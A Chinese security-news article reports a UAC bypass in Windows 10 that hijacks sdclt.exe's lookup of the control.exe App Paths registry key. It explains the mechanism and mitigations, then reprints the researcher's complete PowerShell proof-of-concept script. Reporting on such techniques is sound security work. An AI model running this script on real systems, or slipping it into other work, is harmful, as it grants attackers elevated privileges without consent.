查看原文
其他

研究人员利用应用程序路径绕过Windows 10中的UAC机制

2017-03-22 E安全 E安全

E安全3月22日讯 安全专家Matt Nelson已经设计出一种最新方法,能够利用应用程序路径(App Paths)顺利绕过Windows 10系统上的用户帐户控制(简称UAC)机制。

这位研究人员详细介绍了一种与此前方案完全不同的旁路技术,项此项新方法“不依赖于IFileOperation/DLL劫持机制”。

Nelson在他发表的一篇博文中表示,“我之前曾在博文中提到过两项其它旁路技术,而本篇文章则着重介绍一种不依赖于IFileOperation/ELL劫持的替代性方法。这项技术适用于Windows 10 build 15031,其中绝大部分已经公布的旁路漏洞皆已得到修复。”

这位专家解释称,微软的这款操作系统当中包含几个签名二进制文件,且可通过清单实现自动权限提升。Nelson对其进行了分析,并最终将着眼点集中在sdclt.exe身上——此文件与Windows中的备份与恢复工具有所关联。

他发现sdclt.exe的这一自动权限提升特性皆适用于Windows 10版本。

此sdclt.exe文件会启动control.exe以在高完整性上下文中打开一个控制面板条目,该进程通过在HKEY_CURRENT_USER 配置单元中查询其App Path键的方式获取指向control.exe路径。

Nelson解释称:

“在对执行过程进行重新观察后,我发现sdclt.exe会立足HKEY_CURRENT_USER hive配置单元之内查询control.exe的App Path键。”

“立足高完整性进程调用HKEY_CURRENT_USER(或者简称HKCU)的过程非常有趣。其通常意味着将有一个经过权限提升的进程同某个可由中等完整性进程进行篡改的注册表位置进行交互,”

如此一来,攻击者即可修改这项由sdclt.exe查询进行检索的键,并管理cmd.exe以返回查询结果。

这种方法不可配合参考使用。因此在实际攻击当中,恶意人士需要将该恶意载荷加载至磁盘之上。

Nelson进一步补充称,“如果大家尝试为该二进制文件添加任何参数(例如C:\Windows\System32\cmd.exe /c calc.exe),其将把整条字符串解释为ShellExecuteInfo结构的IpFile值,而后将其传递给ShellExecuteEx。由于此项值并不存在,所以操作无法执行。”

这位专家还发布了一套以演示此方法,并解释称大家可以通过将UAC级别设置为“始终通知”或者立足本地管理员组内对当前用户加以删除的方式防止此类攻击。

附PoC脚本:

function Invoke-AppPathBypass{
    [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
    Param (
        [Parameter(Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [String]
        $Payload,
        [Switch]
        $Force
    )
    $ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin
    $SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).PromptOnSecureDesktop
    if($ConsentPrompt -Eq 2 -And $SecureDesktopPrompt -Eq 1){
        "UAC is set to 'Always Notify'. This module does not bypass this setting."
        exit
    }
    else{
        #Begin Execution
        $AppPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
        if ($Force -or ((Get-ItemProperty -Path $AppPath -ErrorAction SilentlyContinue) -eq $null)){
            New-Item $AppPath -Force |
                New-ItemProperty -Name '(default)' -Value $Payload -PropertyType string -Force | Out-Null
        }else{
            Write-Warning "Key already exists, consider using -Force"
            exit
        }
        if (Test-Path $AppPath) {
            Write-Verbose "Created registry entries for control.exe App Path"
        }else{
            Write-Warning "Failed to create registry key, exiting"
            exit
        }
        $sdcltPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'sdclt.exe'
        if ($PSCmdlet.ShouldProcess($sdcltPath, 'Start process')) {
            $Process = Start-Process -FilePath $sdcltPath  -PassThru
            Write-Verbose "Started sdclt.exe"
        }
        #Sleep 5 seconds
        Write-Verbose "Sleeping 5 seconds to trigger payload"
        if (-not $PSBoundParameters['WhatIf']) {
            Start-Sleep -Seconds 5
        }
        if (Test-Path $AppPath) {
            #Remove the registry entry
            Remove-Item $AppPath -Recurse -Force
            Write-Verbose "Removed registry entries"
        }
        if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
            Stop-Process -Id $Process.Id
            Write-Verbose "Killed running sdclt process"
        }
    }
}

E安全注:本文系E安全独家编译报道,转载请联系授权,并保留出处与链接,不得删减内容。联系方式:① 微信号zhu-geliang ②邮箱eapp@easyaq.com

@E安全,最专业的前沿网络安全媒体和产业服务平台,每日提供优质全球网络安全资讯与深度思考,欢迎关注微信公众号「E安全」(EAQapp),或登E安全门户网站www.easyaq.com , 查看更多精彩内容。

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存